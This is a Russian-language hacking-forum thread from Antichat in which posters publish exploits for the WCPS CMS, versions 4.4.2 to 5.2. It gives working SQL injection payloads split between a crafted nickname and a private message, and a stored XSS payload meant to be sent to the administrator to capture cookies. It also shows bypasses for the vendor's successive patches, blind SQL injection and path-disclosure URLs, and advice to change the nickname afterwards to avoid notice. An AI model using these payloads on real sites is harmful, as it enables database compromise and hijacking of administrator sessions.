ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 15.08.2008, 22:50
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL Injection in WCPS v.4.4.2
3.14здец вот еще одна тысячная по счету бага.


1. ОПИСАНИЕ
Вообщем не буду привдить примеры с кодом и тд т.к уязивмого кода будет очень много, и описывать все мне просто лень. Распишу на словах.

Вообщем в этой поганой цмс у каждого юзера существует его Ник и Логин. Они могут быть одинаковыми могут и нет. Вообщем Логин используется только для авторизации юзера, а соответственно его Ник выводится везде, типа рядом с его сообщениями ну и тд.

Проблема состоит в том что в этой цмс в качестве Ника можно использовать строку содержащую спецсимволы. Но все замечательно слешируется при попадании этого ника в БД при регестрации.

Но дело в том что инфа извлекается в массив SESSION при авторизации БЕЗ СЛЕШИРОВАНИЯ и используется в дальнейшем в своих запросах.

Это была проблема. А узявимость можно замутить в модуле приватных сообщений. Ну и тут можно привести немного кода. Файл mod/privat/new.php
PHP код:
$query="INSERT INTO ".$wcpref."privat VALUES ('', '$pmunames', '$pmsubject', '$_SESSION[user_fio]', '$now', '$pmmsn','1', '0') ";
 
mysql_query($query); 
Нормальный запрос принимает вид:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'Ник', 'Время', 'Сообщение','1', '0') 
Ну казалось бы, ну и что здесь такого? А вот что. Регистрируем нового юзера с ником "bla'/*" (без ковычег "), в итоге наш запрос при создании становится немного неккоректным и будет выглядеть так:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', 'Сообщение','1', '0')
а превратить его в валидный достаточно просто, в теле сообщения пишем "*/,1,([SQL запрос]),1,0)/*" (без ковычег "), и получаем запрос с выводом в самом сообщении следующего плана:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', '*/,1,([SQL запрос]),1,0)/*','1', '0')
2. ЭКСПЛУАТАЦИЯ
Все было бы за**ись конешно, но тут присутствует одно маленькое е*антство как фильтрация слов user_login и user_pass а это как вы догадались имена полей с логинами и хешами в таблице с юзерами.

а. SQL injection
Так как вывести логины с хешами у вас не выйдет то юзабельность этой баги в этом смысле спадает на нет. Но все же пару советов для эксплуатации этой баги в качестве SQL-inj. Так как вывод идет в тело отправленного сообщения то юзать в качестве Адресата какого нибудь другого юзера - крайне не разумно. Можно указать свой Ник а идиально для этого зарегить еще один аккаунт.


b. Active XSS
Тут уже поинтереснее. Так как вывод идет в тело сообщения из БД без фильтрации то можно заюзать охуительную Active XSS "отправив" админу сообщение с нашим кодом. Плюс если заделать функциональный снифер, то получится помощнее чем простая SQL inj.

Как? Очень просто. В тело сообщения пишем(разумеется без второй строчки)
Код:
*/,1,(SELECT 0xCFF0E8E2E5F2213C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E),1,0) -- d
                            Привет!<script>alert(document.cookie)</script>
Ну вообщем тут можете фантазировать как хотите)

2. OUTRO
Вообще интересная бага, да и сам метод реализации.
Можно было бы засунуть весь запрос в ник, но смысла нету. Посему я выбрал разбить запрос на две части.
А и еще не забудьте потом поменять свой ник в профиле на что нить менее бросающееся в глаза)

Удачи...
__________________
Кто я?..

Последний раз редактировалось Ctacok; 11.12.2009 в 22:11.. Причина: Маты в тексте.
 
Ответить с цитированием

  #32  
Старый 23.08.2008, 12:07
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL Injection in WCPS v.4.4.3

Сцуко, чудики, они даже баги латать нормально не умеют =\.

Собственно заплатка предущей уязвимости:
PHP код:
if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i"$logines)){
    print 
"Kernel panic";
    exit;
}
if(!
preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i"$admin_name)){
    print 
"Kernel panic";
    exit;

не ну не ппц ли? Вообщем этот зло**учий фильтр обходится элементарно.

Создаем юзера с ником "bla'/*bla" (без ковычег "), пишем PM сообщение "*/,1,([SQL запрос]),1,0)/*" (также без ковычег ") то есть все тоже самое как написанно выше, за исключением немного измененного Ника у юзера.

Удачи...
Авторам привет
__________________
Кто я?..

Последний раз редактировалось Ctacok; 11.12.2009 в 22:12.. Причина: Мат в тексте
 
Ответить с цитированием

  #33  
Старый 02.09.2008, 19:20
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL Injection in WCPS v5
И снова здравствуйте.

Собственно вы не поверете, и во второй раз эту же багу у них залатать не вышло, как ни смешно/грустно бы это не звучало.

В этой версии у них появился фильтр следующего рода:
PHP код:
$reg_login str_replace"'"'`'$reg_login ); 
то бишь кавычка в логине заменятеся на апосторф(ну или как этот символ зовтеся), то есть вроде мы запрос модифицировать не можем.

Ну а тогда представим следующий запрос к БД:
Код:
INSERT INRO ... VALUES (...,'[ваш логин]','[любое другое поле кторое вы можете изменить]',...)
Так вот так как вы можете использовать в своем логине слеш \. То можно сдвинуть запрос как бы на одну кавычку. Допустим ваш логин blablabla\ тогда запрос принимает вид:
Код:
INSERT INRO ... VALUES (...,'blablabla\','[любое другое поле кторое вы можете изменить]',...)
то есть мы выходим за кавычку и можем заюзать SQL injection.

PS теперь перед публикацией баги о ней будет сообщатся автору, кстати снова ему привет
__________________
Кто я?..
 
Ответить с цитированием

  #34  
Старый 09.06.2010, 14:53
Аватар для pinch
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию

SQL Injection in WCPS v5.2
Требуется авторизация в админке

Blind SQL inj.
http://wcps/admin.php?op=ban&flag=suser&active=view_user&modul =default&nl=1+and+substring(@@version,1,1)=5

Раскрытие путей.
http://wcps/admin.php?op=options&flag=valid&pers=russian&madul[]=1340000
http://wcps/admin.php?op=counter&flag=clear&action=08&ids[]=wc_counter_referer
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ